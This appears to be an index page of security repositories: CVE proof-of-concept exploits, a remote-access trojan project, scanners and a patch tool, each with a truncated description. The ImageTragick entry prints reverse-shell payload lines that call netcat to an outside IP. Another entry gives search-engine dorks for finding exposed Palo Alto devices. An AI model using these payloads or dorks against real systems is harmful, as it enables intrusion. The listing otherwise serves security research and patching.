WonderShell

WonderShell - CVE - 2021-44595 | CVE - 2021-44596 Discovered by Netanel Cohen and Tomer Peled a Security Researchers from BugSec. Description POC example to exploit Wondershare Dr.Fone . Dr.Fone is a phone toolkit develop by wondershare , and vulnerable to RCE. Only with network access we manage ...

CVE

CVE's Table CVE Number| Type| Company/Product| Description| Article Link| Repository Link ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| Missing sanitizati...

CVE-2024-3400-RCE-Scan

Cyberspace Mapping Dork Fofa app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye app:"Palo Alto Networks firewall httpd"...

CVE-2022-46169-Cacti-v1.2.22-RCE

CVE-2022-46169-Cacti-v1.2.22...

auto-cve-2022-44268.sh

auto-cve-2022-44268 Automating exploitation of CVE-2022-44268 ImageMagick Arbitrary File Read Original finding: https://www.metabaseq.com/imagemagick-zero-days/ PoC Repository: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC Description ImageMagick will interpret the...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ مجموعة أدوات Nuclei قوية لاكتشاف والتحقق من صحة ثغرة تجاوز المصادقة الحرجة في FreePBX. 📖 جدول المحتويات اضغط للتوسيع حول هذا المشروع الميزات الرئيسية تفصيل الثغرة القوالب قيد التشغيل العثور على الأهداف باستخدام Shodan إخلاء المسؤولية القانوني تواصل معي أظهر...

D-RAT_VB.NET_MySQL_PHP

D-RATVB.NETMySQLPHP D-RAT VB.NET+MySQL+PHP The project is composed of "D-RAT" server and client "D-STUB" Programming for the client and server languages: "VB.NET Framework 2" Database: "MySQL" Web page: "PHP" https://www.youtube.com/watch?v=opBbmQ5BRFk...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE PoC !WARNING This script is intended for educational and research purposes only. Do not use it against systems without explicit permission. Unauthorized access or testing is illegal and unethical. Read the full DISCLAIMER before using this...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet Test POC can be used for external network testing python CVE-2020-2551.py HOST IP Attempt to modify codebase for remote class loading failed python CVE-2020-TEST.py HOST IP Discussion on weblogic CVE-2020-2551 vulnerabili...

Roundcube-CVE-2024-42008-POC

CVE-2024-42008 RoundCube XSS Exploit Overview This repository contains a proof-of-concept exploit for CVE-2024-42008 , a Cross-Site Scripting XSS vulnerability in RoundCube webmail application. This exploit is designed for educational purposes and controlled penetration testing environments like...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 critical Remote Code Execution RCE vulnerability discovered in Apache Tomcat affect systems with HTTP PUTs enabled via setting the "read-only" initialization parameter of the Default servlet to "false" are affected. Tomcat versions before 9.0.1 Beta, 8.5.23, 8.0.47 a...

CVE-2024-28397-RCE

CVE-2024-28397 RCE Script Default reverse shell payload and optional command argument allowed exploit works for js2py = v0.74 Requirements Python 3.x requests library pip install requests Netcat listener for reverse shell Example usage Reverse shell: python exploit.py 10.129.227.108 /runcode...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Code Execution via Laravel Configuration Injection blog post about the vulnerability https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ you can use this for ctf or just for learning have fun and May God bless you all...

CVE-2016-10033

CVE-2016-10033 – PHPMailer Remote Code Execution 📌 Description This repository contains a proof-of-concept PoC exploit for CVE-2016-10033 , a vulnerability in PHPMailer versions prior to 5.2.18. The issue occurs when the $additionalparameters argument of PHP's built-in mail function is improperly...

fix-react2shell-next

fix-react2shell-next One command to fix CVE-2025-66478 React 2 Shell RCE in your Next.js / React RSC app. npx fix-react2shell-next Deterministic version bumps per the official advisories. What it does 1. Recursively scans all package.json files handles monorepos 2. Checks for vulnerable versions...

Swagger-HTML-Injection-CVE-2025-8191

https://example.com/swagger/swagger.html?configURL=https://raw.githubusercontent.com/mayank-s16/Swagger-HTML-Injection-CVE-2025-8191/refs/heads/main/test.json...

CVE-2022-30190

CVE-2022-30190 Based on https://github.com/JohnHammond/msdt-follina Environment Setup Use files in /env-setup 1. Virtual Machine: use VirtualBox and Win1021H2Englishx32.iso Build 19044.1288 2. Install Microsoft Word, run setup.exe /configure configuration.xml using cmd inside /env-setup/odt-2013 ...

ZeroLogon-CVE-2020-1472-lab

ZeroLogon-CVE-2020-1472 Explanation and demonstration of the ZeroLogon CVE-2020-1472 vulnerability The purpose of this lab is strictly educational. Its execution is not recommended in production environments or those that do not belong to you. About the Vulnerability Context of the vulnerability...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 Router RCE Exploit POC This document describes how the CVE-2024-29671 vulnerability was exploited in the NEXTU FLATA AX1500 Router firmware. Execution Environment This router is based on the MIPS architecture using the Realtek chipset with Little-Endian. The target router firmwa...